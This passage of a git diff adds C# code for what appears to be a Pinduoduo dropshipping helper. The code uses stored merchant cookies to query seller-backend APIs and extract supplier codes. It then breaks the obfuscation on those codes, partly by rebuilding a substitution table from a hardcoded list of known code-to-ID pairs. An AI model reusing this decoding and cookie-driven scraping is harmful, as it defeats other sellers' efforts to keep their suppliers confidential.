string html = GetHtml.PostUtf8(url, data); + } + } +} diff --git a/Work/JumpUpProductNew.cs b/Work/JumpUpProductNew.cs new file mode 100644 index 0000000..ace6c58 --- /dev/null +++ b/Work/JumpUpProductNew.cs @@ -0,0 +1,796 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using AllBase; +using Work.Api; + +namespace Work +{ + /// + /// 获取上家 + /// + public class JumpUpProductNew + { + public static Dictionary> ShouZhangXinTb = new Dictionary>(); + public static Dictionary> ShouZhangXinPdd = new Dictionary>(); + public UpShopIdBase UpId = new UpShopIdBase(); + public ShopChatBase Shop = null; + public string Good_Sn=""; + public string Html=""; + public string OutGoodId = ""; + + public JumpUpProductNew(ShopChatBase shop) + { + Shop = shop; + } + + public static string GetUrl(string url, out string pid, ShopChatBase shop) + { + JumpUpProductNew ju = new JumpUpProductNew(); + ju.Shop = shop; + ju.GetUrl(url); + pid = ju.UpId.ProductIdFrom.ToString(); + return ju.UpId.Url; + } + public JumpUpProductNew() + { + } + + public void GetUrl(string url) + { + string pidCode="",idx=""; + UpId.SiteId = 2; + string cookies = BaseClass.ChromeCookies; + int maillId = BaseClass.MallId; + if (Shop != null) + { + cookies = Shop.Cookies; + maillId = Shop.MallId; + } + long proId = 0; + if (!string.IsNullOrEmpty(OutGoodId) && (OutGoodId.Contains("PBB") || OutGoodId.Contains("TJM") || OutGoodId.Contains("TJH"))) + { + pidCode = OutGoodId; + goto End; + } + if (!string.IsNullOrEmpty(url)) + { + string id = BaseRegex.GetMatchRegexString(url, @"([\d]{5,15})"); + string pid = "0"; + if (string.IsNullOrEmpty(id)) + { + UpId.Message = "没有找到拼多多ID"; + return; + } + proId = long.Parse(id); + if (UpShopIdFromServer.UpIds.ContainsKey(proId)) + { + UpId = UpShopIdFromServer.UpIds[proId]; + UpId.GetOk = true; + return; + } + if (PinduoduoApiGetProduct.OutId.ContainsKey(proId)) + { + pidCode = PinduoduoApiGetProduct.OutId[proId]; + if(!string.IsNullOrEmpty(pidCode)) + goto End; + } + //if (string.IsNullOrEmpty(pidCode)) //没有上家,优先走api + //{ + // if(string.IsNullOrEmpty(Html)) + //Html = new PinduoduoApiGetProduct(Shop).GetProductInfor(proId); + // pidCode = BaseRegex.GetMatchRegexString(ref Html, @"""out_sku_sn"":""(PBB[^""]+?)"""); + // if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + // goto End; + // var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)"""); + // if (m != null && m.Count > 0) + // pidCode = m[m.Count - 1].Groups[1].Value; + // if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + // goto End; + // if (Html.Contains("outer_goods_id")) + // { + // if (GetServerId(proId, out idx)) + // { + // DeCode(idx); + // return; + // } + // } + //} + if (string.IsNullOrEmpty(pidCode)) + { + string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail"; + string data = "{\"goods_id\":\"" + id + "\"}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/", true, data, + cookies); + pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn"); + if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + goto End; + } + if (UpIdsList.Count == 0) + { + UpdataUpIds(); + } + foreach (string key in UpIdsList.Keys) + { + if (key == proId.ToString()) + { + idx = UpIdsList[key].upProIdOne; + if (string.IsNullOrEmpty(idx)) + idx = UpIdsList[key].upProIdTwo; + break; + } + } + if (!string.IsNullOrEmpty(idx) && idx.Contains("-")) + { + DeCode(idx); + return; + } + if (GetServerId(proId, out idx)) + { + DeCode(idx); + return; + } + if (string.IsNullOrEmpty(pidCode)) + { + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string data = "{\"order_by\":\"id:desc\",\"goods_id\":\"" + id + "\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/Pdd.html", true, data, + cookies); + pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn"); + if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + goto End; + } + url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string date = "{\"sort_by\":\"id\",\"sort_type\":\"DESC\",\"goods_id\":\"" + id + + "\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date, + cookies); + //url = "https://mms.pinduoduo.com/malls/" + maillId + "/goodsList?sort_by=id&sort_type=DESC&goods_id=" + id + "&size=15&page=1"; + // html = GetPostTaobaoHtml.UploadTaobao(url, "https://mms.pinduoduo.com/Pdd.html", true, cookies); + Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn"); + + if (string.IsNullOrEmpty(Good_Sn)) //没有上家 + { + Thread.Sleep(5*1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date, + cookies); + Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn"); + } + if (string.IsNullOrEmpty(Good_Sn)) //没有上家 + { + Thread.Sleep(20*1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date, + cookies); + Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn"); + } + if (string.IsNullOrEmpty(Good_Sn)) //没有上家 + { + //message = "查询无数据"; + UpId.Message = "未查询到产品id,请点选正确的店铺"; + //AddToTemp(proId); + return; + } + } + //李尹添加 + if (string.IsNullOrEmpty(pidCode)) + { + //获取包含✅的上传记录 + long idUp = proId; + string urlUp = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list"; + string referex = "https://mms.pinduoduo.com/goods/goods_record"; + string datax = "{\"check_status\":2,\"start\":0,\"length\":10,\"goods_id\":" + idUp + "}"; + //第一页匹配结果 + string htmlUp = GetPostTaobaoHtml.UploadTaobaoPost(urlUp, referex, true, datax, cookies); + int allCount = BaseRegex.GetIntJson(ref htmlUp, "total"); + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + long editId = 0; + for (int j = 1; j <= page; j++) + { + if (editId > 0) + { + break; + } + if (j != 1) + { + datax = "{\"check_status\":2,\"start\":" + (j - 1) * 10 + ",\"length\":10,\"goods_id\":" + idUp + "}"; + htmlUp = GetPostTaobaoHtml.GetJsonPost(urlUp, referex, true, datax, cookies); + } + var m = BaseRegex.GetMatchRegex(ref htmlUp, @"\{([\w\W]+?)\}"); + for (int k = 0; m != null && k < m.Count; k++) + { + string list = m[k].Groups[0].Value; + string goods_name = BaseRegex.GetStringJson(ref list, "goods_name"); + if (string.IsNullOrEmpty(goods_name) || goods_name.Contains("✅")) + { + editId = BaseRegex.GetLongJson(ref list, "id"); + break; + } + } + } + string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/" + editId; + string htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, "https://mms.pinduoduo.com/goods/goods_add/index?id=" + editId + "&type=edit", true, cookies); + pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn"); + if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + goto End; + } + + url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail"; + Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, + "{\"goods_sn\":\"" + Good_Sn + "\"}", cookies); + if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁")) + { + Thread.Sleep(30*1000); + Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, + "{\"goods_sn\":\"" + Good_Sn + "\"}", cookies); + } + if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁")) + { + Thread.Sleep(90*1000); + Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, + "{\"goods_sn\":\"" + Good_Sn + "\"}", cookies); + } + pidCode = BaseRegex.GetStringJson(ref Html, @"out_goods_sn"); + //if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:")) //没有上家 + //{ + // Html = new PinduoduoApiGetProduct(Shop).GetProduct(proId); + // var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)"""); + // if (m != null && m.Count > 0) + // pidCode = m[m.Count - 1].Groups[1].Value; + // if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + // goto End; + //} + //if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:")) //没有上家 + //{ + // Html = new PinduoduoApiGetProduct(Shop).GetProductInfor(proId); + // var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)"""); + // if (m != null && m.Count > 0) + // pidCode = m[m.Count - 1].Groups[1].Value; + // if (!string.IsNullOrEmpty(pidCode)) + // goto End; + //} + End: + if (string.IsNullOrEmpty(pidCode)) + pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(TJM_[a-z0-9=+/]+?)"","""); + if (string.IsNullOrEmpty(pidCode)) + pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(JM_[a-z0-9]+?)"","""); + if (string.IsNullOrEmpty(pidCode)) + pidCode = BaseRegex.GetMatchRegexString(ref Html, @"[\D]([a-z0-9=+/]+?=)"","""); + if (!string.IsNullOrEmpty(pidCode)) + { + string pidCodex = BaseRegex.GetMatchRegexString(ref pidCode, @"([\d]{6,15})"); //未加密 + if (!string.IsNullOrEmpty(pidCodex)) + { + long upid = long.Parse(pidCodex); + if (upid < 999999999l) + UpId.SiteIdFrom = 2; + else + UpId.SiteIdFrom = 1; + if (pidCode.Contains("tb-")) + UpId.SiteIdFrom = 1; + if (pidCode.Contains("pdd-") || pidCode.Contains("pd-")) + UpId.SiteIdFrom = 2; + if (pidCode.Contains("al-") || pidCode.Contains("albb-") || pidCode.Contains("1688-")) + UpId.SiteIdFrom = 3; + UpId.GetOk = true; + UpId.ProductIdFrom = upid; + AddToTemp(proId); + return; + } + } + if (string.IsNullOrEmpty(pidCode)) + { + UpId.Message = "未找到加密密钥"; + AddToTemp(proId); + return; + } + + if (pidCode.Contains("TJM_")) + { + if (!string.IsNullOrEmpty(pidCode) && pidCode.Contains("|")) + pidCode = pidCode.Substring(0, pidCode.IndexOf("|")); + try + { + byte[] inArray = Convert.FromBase64String(pidCode.Replace("TJM_", "")); + idx = Encoding.UTF8.GetString(inArray); + DeCode(idx); + return; + } + catch + { + UpId.Message = "解密异常,请联系管理员"; + } + AddToTemp(proId); + return; + } + if (pidCode.Length > 3 && (pidCode.Substring(0, 3) == "PBB" || pidCode.Substring(0, 3) == "TJH")) + { + int mid = Shop == null ? BaseClass.MallId : Shop.MallId; + if (pidCode.Contains("?")) + { + string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName); + data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode); + string urlx = BaseClass.BuildObjString("decode&act=get"); + idx = GetHtml.PostUtf8(urlx, data); + } + else if (pidCode.Contains("#")) + { + string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName); + data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode); + string urlx = BaseClass.BuildObjString("decode&act=getx"); + idx = GetHtml.PostUtf8(urlx, data); + } + else + { + idx = GetUpId(pidCode, mid); + } + DeCode(idx); + return; + } + if (pidCode.Contains("JM_")) + { + string pid = Decode(pidCode); + if (string.IsNullOrEmpty(pid)) + UpId.Message = "解密失败,字典不足"; + AddToTemp(proId); + return; + } + if (UpIdsList.Count==0) + { + UpdataUpIds(); + } + foreach (string key in UpIdsList.Keys) + { + if (key == proId.ToString()) + { + idx = UpIdsList[key].upProIdOne; + if (string.IsNullOrEmpty(idx)) + idx = UpIdsList[key].upProIdTwo; + break; + } + } + if (!string.IsNullOrEmpty(idx) && idx.Contains("-")) + { + DeCode(idx); + return; + } + url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get"; + string datay = "&pdd_id=" + proId + "&table=" + (proId % 1024); + string htmly = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + datay); + if (!string.IsNullOrEmpty(htmly) && htmly.Contains("-")) + { + DeCode(htmly); + return; + } + UpId.Message = "未找到解密方法,请联系管理员"; + } + public static Dictionary UpIdsList = new Dictionary(); + public static void UpdataUpIds() + { + UpIdsList.Clear(); + bool had = true; + int page = 1; + while (had) + { + string data = UserLogin.GetSignaturex() + ""; + string url = BaseClass.BuildObjString("upid&act=getx&page=" + page); + string html = GetHtml.PostUtf8(url, data); + var m = BaseRegex.GetMatchRegex(ref html, @"({[\s\S]+?})"); + for (int i = 0; i < m.Count; i++) + { + var item = m[i].Groups[0].Value; + string pid = BaseRegex.GetStringJson(ref item, "product_id");//商品ID + string upids = BaseRegex.GetStringJson(ref item, "up_ids");//上家Id + string upidsTwo = BaseRegex.GetStringJson(ref item, "up_ids2");//上家Id2 + if ((string.IsNullOrEmpty(upids)&& string.IsNullOrEmpty(upidsTwo)) || string.IsNullOrEmpty(pid)) + continue; + if (UpIdsList.ContainsKey(pid))//如果dictionary 存在相同的key,remove后再添加。 + { + UpIdsList.Remove(pid); + } + UpProId upProId = new UpProId(); + upProId.upProIdOne = upids; + upProId.upProIdTwo = upidsTwo; + UpIdsList.Add(pid, upProId); + } + had = m.Count > 2; + page++; + } + + } + + public void DeCode(string idx) + { + string rid = BaseRegex.GetMatchRegexString(idx, @"([\d]+)"); + if (string.IsNullOrEmpty(rid)) + { + UpId.Message = "解密遇到空数据"; + return; + } + UpId.ProductIdFrom = long.Parse(rid); + if (idx.Contains("tb-")) + UpId.SiteIdFrom = 1; + if (idx.Contains("pd-")) + { + if (idx.Length>13) + { + UpId.SiteIdFrom = 1; + } + UpId.SiteIdFrom = 2; + } + if (idx.Contains("al-")) + UpId.SiteIdFrom = 3; + if (idx.Contains("jx-")) + UpId.SiteIdFrom = 4; + if (idx.Contains("wd-")) + UpId.SiteIdFrom = 6; + UpId.GetOk = true; + } + + public bool GetServerId(long pid,out string idx) + { + idx = ""; + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get"; + string data = "&pdd_id=" + pid + "&table=" + (pid % 1024); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + data); + if (html == "none") + return false; + idx = html; + return true; + } + + /// + /// 新版加密解密 + /// + /// + /// + /// + public string GetUpId(string code, int mid) + { + if (string.IsNullOrEmpty(code) || !code.Contains("PBB") && !code.Contains("TJH")) + return ""; + if (!code.Contains("|")) + return ""; + int ridMain = int.Parse(code.Substring(code.IndexOf("|") + 1)); + int ridClient = (mid % ridMain) % 26; + List k = new List(); + char[] ke = mid.ToString().ToCharArray(); + for (int i = 0; i < ke.Length; i++) + { + int j = int.Parse(ke[i].ToString()); + k.Add(j); + } + string codeNew = code.Substring(3, code.IndexOf("|") - 3); + byte[] b = Convert.FromBase64String(codeNew); + int y = 0; + for (int i = 0; i < b.Length; i++) + { + int z = b[i] - k[y] * ridClient; + if (z < 0) + z += 256; + b[i] = (byte)(z % 256); + y++; + if (y >= ke.Length) + y = 0; + } + string decode = Encoding.UTF8.GetString(b); + return decode; + } + + private void AddToTemp(long proId) + { + if(proId==0 || UpId.ProductIdFrom==0) + return; + try + { + UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom); + if (!UpShopIdFromServer.UpIds.ContainsKey(proId)) + { + UpShopIdFromServer.UpIds.Add(proId,UpId); + } + } + catch + { + } + } + + /// + /// 解密密文 + /// + /// + /// + public string Decode(string code) + { + string temp = ""; + if (code.Contains("JM_DD8E5ED")) + { + UpId.SiteIdFrom = 1; + code = code.Replace("JM_DD8E5ED", ""); + int b = 0; + char[] h = code.ToCharArray(); + temp = ""; + for (int i = 0; i < h.Length + 1; i += 2) + { + char a = h[i]; + if (ShouZhangXinTb[b].ContainsKey(a)) + temp += ShouZhangXinTb[b][a]; + else + return ""; + b++; + } + } + if (code.Contains("JM_D98817C43")) + { + UpId.SiteIdFrom = 2; + code = code.Replace("JM_D98817C43", ""); + int b = 1; + char[] h = code.ToCharArray(); + temp = ""; + for (int i = 0; i < h.Length + 1; i += 2) + { + char a = h[i]; + if (ShouZhangXinTb[b].ContainsKey(a)) + temp += ShouZhangXinTb[b][a]; + else + return ""; + b++; + } + } + + long.TryParse(temp,out UpId.ProductIdFrom); + UpId.SiteId = 2; + UpId.GetOk = true; + UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom); + return temp; + } + + public static string GetJumpUrl(int siteId, long pid) + { + string url = ""; + if (pid>9900000000) + { + if (siteId != 3) + { + url = "http://taoke.qixiaoke.com/first.php?pid=mm_15630535_36114777_129010993&product_id=" + pid; + if (!string.IsNullOrEmpty(BaseClass.AlimamaPid) && !string.IsNullOrEmpty(BaseClass.AlimamaDomain)) + url = "http://" + BaseClass.AlimamaDomain + "/first.php?pid=" + BaseClass.AlimamaPid + "&product_id=" + pid; + } + else + { + url = "https://detail.1688.com/offer/"+ pid + ".html"; + } + + } + if ( pid < 9900000000) + { + url = BaseClass.LoginApiUrl + "?obj=upshopid/pinduoduo_click&act=jump&id=" + pid; + } + return url; + } + + public void Ini() + { + ShouZhangXinTb.Clear(); + ShouZhangXinPdd.Clear(); + string[] l = DeCodeString.Split('\n'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t")) + continue; + string[] li = l[i].Split('\t'); + string c = li[0]; + string id = li[1]; + if (c.Contains("JM_DD8E5ED")) + { + int b = 0; + c = c.Replace("JM_DD8E5ED", ""); + char[] h = c.ToCharArray(); + char[] s = id.Trim().ToCharArray(); + for (int j = 0; b < 12 && b < s.Length; j += 2) + { + if (!ShouZhangXinTb.ContainsKey(b)) + ShouZhangXinTb.Add(b, new Dictionary()); + char a = h[j]; + char d = s[b]; + if (!ShouZhangXinTb[b].ContainsKey(a)) + ShouZhangXinTb[b].Add(a, d); + if (!ShouZhangXinTb[b].ContainsKey(d)) + ShouZhangXinTb[b].Add(d, a); + b++; + } + } + if (c.Contains("JM_D98817C43")) + { + int b = 0; + c = c.Replace("JM_D98817C43", ""); + char[] h = c.ToCharArray(); + char[] s = id.Trim().ToCharArray(); + for (int j = 0; b < 12 && b < s.Length; j += 2) + { + if (!ShouZhangXinPdd.ContainsKey(b)) + ShouZhangXinPdd.Add(b, new Dictionary()); + char a = h[j]; + char d = s[b]; + if (!ShouZhangXinPdd[b].ContainsKey(a)) + ShouZhangXinPdd[b].Add(a, d); + if (!ShouZhangXinPdd[b].ContainsKey(d)) + ShouZhangXinPdd[b].Add(d, a); + b++; + } + } + } + string allMun = "0123456789"; + foreach (KeyValuePair> key in ShouZhangXinTb) + { + string noHad = allMun; + string noReplace = allMun + "ABCDEF"; + string temp = ""; + foreach (KeyValuePair ke in key.Value) + { + noHad = noHad.Replace(ke.Value.ToString(), ""); + noReplace = noReplace.Replace(ke.Key.ToString(), ""); + temp += ke.Key + " = " + ke.Value + "\r\n"; + } + if (noHad.Length == 1) + { + char[] no = noReplace.ToCharArray(); + foreach (char c in no) + { + key.Value.Add(c, char.Parse(noHad)); + } + } + } + + foreach (KeyValuePair> key in ShouZhangXinPdd) + { + string noHad = allMun; + string noReplace = allMun + "ABCDEF"; + string temp = ""; + foreach (KeyValuePair ke in key.Value) + { + noHad = noHad.Replace(ke.Value.ToString(), ""); + noReplace = noReplace.Replace(ke.Key.ToString(), ""); + temp += ke.Key + " = " + ke.Value + "\r\n"; + } + if (noHad.Length == 1) + { + char[] no = noReplace.ToCharArray(); + foreach (char c in no) + { + key.Value.Add(c, char.Parse(noHad)); + } + } + } + ShouZhangXinPdd[9] = ShouZhangXinTb[10]; + + //string t = Decode("JM_DD8E5EDC3643D01817BAEC21C67352"); + } + + public string DeCodeString = @"JM_DD8E5EDC3542D11713B9EB21C07752 564961026602 +JM_DD8E5EDC3642D01710B8EF21C47754 554862166204 +JM_DD8E5EDC3641D0191BB8E82FC67658 557889118018 +JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306 +JM_DD8E5EDC3545DF191BB9ED25C07558 563789042628 +JM_DD8E5EDC3542D0171AB0ED21C57555 564868946325 +JM_DD8E5EDC364FD81713BBEC21C47151 559061256261 +JM_DD8E5EDC3542DB1913BEED21C07353 564381746643 +JM_DD8E5EDC3641DE111ABDED24C47F57 557608443287 +JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306 +JM_DD8E5EDC364ED81514BEE82FC77250 558046718150 +JM_DD8E5EDC3642D01710B8EF21C47754 554862166204 +JM_DD8E5EDC3641DB1512BEEF26C27251 557340761451 +JM_DD8E5EDC3543DF1016B1EF27C57050 565714860370 +JM_DD8E5EDC374FDD1715B8E923C07152 549567104662 +JM_DD8E5EDC3146DC1716BBE82EC37356 520464219546 +JM_DD8E5EDC3746DE1511BFE820C37751 540643617501 +JM_DD8E5EDC3643DA191ABDEB20C77E56 555288427196 +JM_DD8E5EDC3545DA1214B9EA25CF7056 563236032976 +JM_DD8E5EDC3543DF1812BDE020C17257 565790497757 +JM_DD8E5EDC3545DB131ABCE021C17E50 56332859690 +JM_DD8E5EDC3542D01914B0EB2FC77F58 564886928188 +JM_DD8E5EDC3543DE1115BEEB22C07259 565607725659 +JM_DD8E5EDC3540D91611BBED26C47659 566173241219 +JM_DD8E5EDC3544D0111BBCED27CF7351 562809540941 +JM_DD8E5EDC3740DA1211BFED2FC67F56 546233648086 +JM_DD8E5EDC374FDD1914BAEB21C07354 549586326644 +JM_DD8E5EDC3543D81313BFEC24C47E50 565021653290 +JM_DD8E5EDC3141D01316BBE923C57755 527824204305 +JM_D98817C43B40DC1415B9E022CE 864570958 +JM_D98817C43A44DE1212BCE827 92630510 +JM_D98817C43142DD1814BDED23C0 245964446 +JM_D98817C43B40DC1415B9E022CE 864570958 +JM_D98817C43445DC1310BCE927CF 734225009 +JM_D98817C43446DD1014BAEF23C4 705163642 +JM_D98817C43440D81116BBEA21C0 760042366 +JM_D98817C43A45D0121BBDEC22CF 938394559 +JM_D98817C4354FDD1017BAE124C0 695153836 +JM_D98817C4354FDA191BB9EC21C7 692890561 +JM_D98817C43547DD1215BFEA2E 61537639 +JM_D98817C43445DF1313B8E82F 73721118 +JM_D98817C43045DD1413BAE120C2 335513874 +JM_D98817C43546DA1615BBED23C6 602772440 +JM_D98817C43140DF141ABFE12FC4 267586882 +JM_D98817C43541D11910BDE827C4 679824102 +JM_D98817C43446D91316BEE02F 70124798 +JM_D98817C43440D11110B1EA25C4 769028322 +JM_D98817C43246DB1316BBEE25C27E 1032427249 +JM_D98817C43643DC121ABFED21C7 554386461 +JM_D98817C43A46DF131ABAEF23 90728364 +JM_DD8E5EDC3741DF1011B8E120CE7F59 547713187889 +JM_DD8E5EDC3141DF1210B9E923CE7057 527732004877 +JM_DD8E5EDC374EDB1213B1E922CF7553 548331805923 +JM_DD8E5EDD374FDD1013B8EF22C47E 44951116529 +JM_DD8E5EDC3742D81111BBEA20C27355 544003237445 +JM_DD8E5EDC3745D91217B9E12FC27354 543135088444 +JM_DD8E5EDC3547DF1013B1E120C17F57 561711887787 +JM_DD8E5EDC3747D81214BDEA2ECF7051 541036439971 +JM_DD8E5EDC3041D1151AB1E122C37254 537948885554 +JM_DD8E5EDC3640DB131AB9EC2FC37E52 556328058592 +JM_DD8E5EDC3646DE1112B8EF25CF7256 550600162956 +JM_DD8E5EDC3641DA151ABFEC2FC57751 557248658301 +JM_DD8E5EDC3640DC1415B1ED2ECE7352 556457849842 +JM_DD8E5EDC3045DF1511BDEA21C17F51 533743436781 +JM_DD8E5EDC3147DB1311BBE923C77457 521323204137 +JM_DD8E5EDC364EDC1811B1E821C67253 558493816053 +JM_DD8E5EDD3743D01117BDEE26C073 44580547164 +JM_DD8E5EDD3144DC1014B1E12EC673 42241688904 +JM_DD8E5EDD374ED01114BCEB20C174 44880652773 +JM_DD8E5EDC304EDB1712B9E926C27E54 538360001494 +JM_DD8E5ED83B43D91217B9EA2FC276 18513503841 +JM_DD8E5EDC3142DC1814BDEA21C37652 524496436512 +JM_D98817C43645DD1512B0EC20 53540957 +JM_D98817C43142D81917BFE826C2 240856114 +JM_D98817C43543D0171AB0EF23C0 658689646 +JM_D98817C4314ED8131BB8EB 2802912 +JM_D98817C4364FDA1212B0E821CF 592309169 +JM_D98817C43247D01612B1EC2E 11870859 +JM_D98817C43546DB1316BDE8 6032441 +JM_D98817C4314ED8131BB8EB 2802912 +JM_D98817C4364FDA1212B0E821CF 592309169 +JM_D98817C43247D01612B1EC2E 11870859 +JM_D98817C43546DB1316BDE8 6032441 +JM_D98817C4324EDB1110B9E027 18302090 +JM_D98817C43743DB1113B8E92FCF 453011089 +JM_DD8E5EDB3345DB1215BDEE2FC076 20333747861 +JM_DD8E5EDB3340DA1414B8E82EC474 20625611923 +JM_DD8E5EDD3347D91714BAE024C27E 40116639349 +JM_DD8E5ED83346D91911B0EC2FC676 10018395801 +JM_DD8E5EDA3545DB1016B0EF2FC571 36331496836 +JM_D98817C43245D81312BFEE22C4 130206752 +JM_D98817C43041D91617BCEA25C7 371755321 +JM_D98817C43546DB181AB0E0 6039899 +JM_D98817C43140DA1412B9EE 2625007 +JM_D98817C43543D0171AB0EF23C0 658689646 +JM_D98817C43142D81917BFE826C2 240856114 +JM_D98817C43245DD1417BFEF24 13555663 +JM_D98817C43246DB1211B9EF20C375 1033306752 +JM_D98817C43A41D11315BCE920C6 979275070 +JM_D98817C4324FDF1816B9EC23C2 197940544 +JM_D98817C43446DB1610BCEC 7037255 +JM_D98817C43544D0171ABAEB27C0 628683206 +JM_D98817C43745DF1916BBE126C3 437842815 +JM_D98817C4304EDC1913B0EA26C4 384819312 +JM_D98817C43A42D11713B1E120C3 949618875 +JM_D98817C43246DC1416BEEB24C1 104547237 +JM_D98817C43A4FDF1815BDEC21C2 997974564 +JM_D98817C43544D91115BCEE2FC5 621075783 +JM_D98817C43A42DA111BBEE9 9420970 +JM_D98817C43B40DA131BBFEA26C7 862296311 +JM_D98817C4324FDE1712B9E820 19660017 +JM_D98817C43140DF191BB8EF 2678916 +JM_D98817C43045DA1111BCEE26 33203571 +JM_D98817C43544DF1711BAE0 6276339 +JM_D98817C43447DE1011B9E925CF 716130029 +JM_D98817C4304FD01310BDE820C1 398224177 +JM_D98817C43246D81811B8ED27CE73 1009314084 +JM_D98817C4364FD01017BEE127CF 598157809 +JM_D98817C43247D01217BEE122 11835785 +JM_D98817C43544D01017B8E92FC0 628151086 +JM_D98817C43545DA121ABAE020C5 632383973 +JM_D98817C4304FD11116B8EB27C6 399041200 +JM_D98817C43A43D1101ABEE020C6 959187970 +JM_D98817C43241DC1313BEED27 17421740"; + } + + +} diff --git a/Work/ManageClass/AddressSetIni.cs b/Work/ManageClass/AddressSetIni.cs new file mode 100644 index 0000000..a86148c --- /dev/null +++ b/Work/ManageClass/AddressSetIni.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; + +namespace Work.ManageClass +{ + public class AddressSetIni + { + public static Dictionary> Addresses = new Dictionary>(); + public static List AddressList = new List(); + public static List AddressAllList = new List(); + public static Dictionary> Addressdic = new Dictionary>(); + public void Ini() + { + string file = FileBase.ReadAllText("taobao_address.tjm", Encoding.UTF8); + if (string.IsNullOrEmpty(file)) + { + MessageBox.Show("初始化淘宝地址信息错误,请检查网络", "提示"); + return; + } + var m = BaseRegex.GetMatchRegex(ref file, @"\[""([\d]+)"",\[""([^""]+?)"",""[^""]+?""\],""([\d]+)"""); + for (int i = 0; i < m.Count; i++) + { + AddressBase a = new AddressBase(); + a.Id = int.Parse(m[i].Groups[1].Value); + a.Name = m[i].Groups[2].Value; + a.UpId = int.Parse(m[i].Groups[3].Value); + AddressList.Add(a); + if (!Addresses.ContainsKey(a.Id)) + Addresses.Add(a.Id, new List()); + if (!Addresses.ContainsKey(a.UpId)) + Addresses.Add(a.UpId, new List()); + Addresses[a.UpId].Add(a); + } + } + public void getAddress1688() + { + string strContent = FileBase.ReadAllText("1688_address.tjm"); + strContent = GetHtml.UrlDecode(strContent); + var m = BaseRegex.GetMatchRegex(ref strContent, @"{[^}]+?}"); + for (int i = 0; m != null && i < m.Count; i++) + { + + string addressContent = m[i].Groups[0].Value; + AddressBase a = new AddressBase(); + string[] addressArray = addressContent.Split(','); + for (int j = 0; j < addressArray.Length; j++) + { + var itemMatch = BaseRegex.GetMatchRegex(ref addressArray[j], @"([\w\W]+?):([\w\W]+)"); + string itemname = itemMatch[0].Groups[1].Value.Replace("{", ""); + string itemvalue = itemMatch[0].Groups[2].Value.Replace("\"", "").Replace("}", ""); + if (itemname == "a") + { + a.Id = int.Parse(itemvalue); + } + if (itemname == "n") + { + a.Name = itemvalue; + } + if (itemname == "p") + { + a.UpId = int.Parse(itemvalue); + } + } + AddressAllList.Add(a); + if (!Addressdic.ContainsKey(a.Id)) + Addressdic.Add(a.Id, new List()); + if (!Addressdic.ContainsKey(a.UpId)) + Addressdic.Add(a.UpId, new List()); + Addressdic[a.UpId].Add(a); + } + } + + } + + public class AddressBase + { + public int Id = 0; + public string Name = ""; + public int UpId = 0; + //public Dictionary Address = new Dictionary(); + } +} diff --git a/Work/ManageClass/AdvanceSale.cs 